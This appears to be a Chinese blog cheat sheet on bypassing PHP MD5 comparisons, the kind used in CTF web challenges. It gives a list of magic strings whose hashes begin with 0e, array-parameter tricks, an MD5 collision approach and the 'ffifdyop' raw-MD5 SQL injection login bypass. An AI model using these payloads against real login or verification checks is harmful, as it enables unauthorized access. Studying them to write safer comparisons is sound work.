MD5绕过的技巧

本文详细探讨了PHP中MD5函数的漏洞,包括弱类型比较导致的安全问题,以及如何通过构造0e开头的字符串进行绕过。同时,也介绍了PHP的强类型比较特性以及数组参数导致的绕过方法。此外,还讨论了MD5碰撞在绕过中的应用,并给出了具体的例子。最后,提到了利用MD5()函数构造SQL注入攻击的场景。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

引用: https://www.cnblogs.com/hacker-snail/p/13955722.html

MD5函数漏洞

$str1 = $_GET['str1'];
$str2 = $_GET['str2'];
if (md5($str1) == md5($str2)){
die('OK'); }

  • php弱类型比较产生的漏洞

    • 想要满足这个判断只需要构造出MD5值为0e开头的字符串,这样的话弱类型比较会认为是科学技术法,0的多少次方都是0,因此可以绕过
  • 有一些字符串的MD5值为0e开头,这里记录一下

    
    240610708
    
    QNKCDZO
    
    s878926199a
    
    s155964671a
    
    s214587387a
    
    s878926199a
    
    s1091221200a
    
    s1885207154a
    
    s1502113478a
    
    s1885207154a
    
    s1836677006a
    
    s155964671a
    
    s1184209335a
    
    s1665632922a
    
    s1502113478a
    
    s1836677006a
    
    s1091221200a
    
    s155964671a
    
    s1502113478a
    
    s155964671a
    
    s1665632922a
    
    s155964671a
    
    s1091221200a
    
    s1836677006a
    
    s1885207154a
    
    s532378020a
    
    s878926199a
    
    s1091221200a
    
    s214587387a
    
    s1502113478a
    
    s1091221200a
    
    s1665632922a
    
    s1885207154a
    
    s1836677006a
    
    s1665632922a
    
    s878926199a
    
    
    
    • 还有MD5和双MD5以后的值都是0e开头的

      • CbDLytmyGm2xQyaLNhWn
      • 770hQgrBOjrcqftrlaZk
      • 7r4lGXCH2Ksu2JNT3BYM
    • PHP特性

      $str1 = $_GET['str1'];
      $str2 = $_GET['str2'];

      if (md5($str1) === md5($str2)) {
      die('OK');
      }

      • 因为是强类型比较,用0e开头的字符串是没办法绕过的了,但是PHP自身的特性使得可以提交一个数组,而md5函数传入数组的返回值都是NULL,这样就可以绕过强类型比较了。所以这里用GET传入?str1[]=1&str2[]=2就行了
        • 补充:md5()或者sha1()之类的函数计算的是一个字符串的哈希值,对于数组则返回false,如果$str1$str2都是数组则双双返回FALSE, 两个FALSE相等得以绕过

      MD5碰撞

      $str1 = (string)$_GET['str1'];
      $str2 = (string)$_GET['str2'];

      if (md5($str1) === md5($str2)) {
      die('OK');
      }

      • 由于强制类型转换,传数组就不可行了,这里就需要MD5碰撞,对于需要两个内容不同但是MD5值相同的文件,使用Fastcoll就可以了

      绕过md5()来构造攻击语句

      select * from 'admin' where password=md5($pass,true)

      • ffifdyop
        • 这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,
          而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是select * from 'admin' where password='' or '6xxxxx'。等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数
    评论
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包
    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值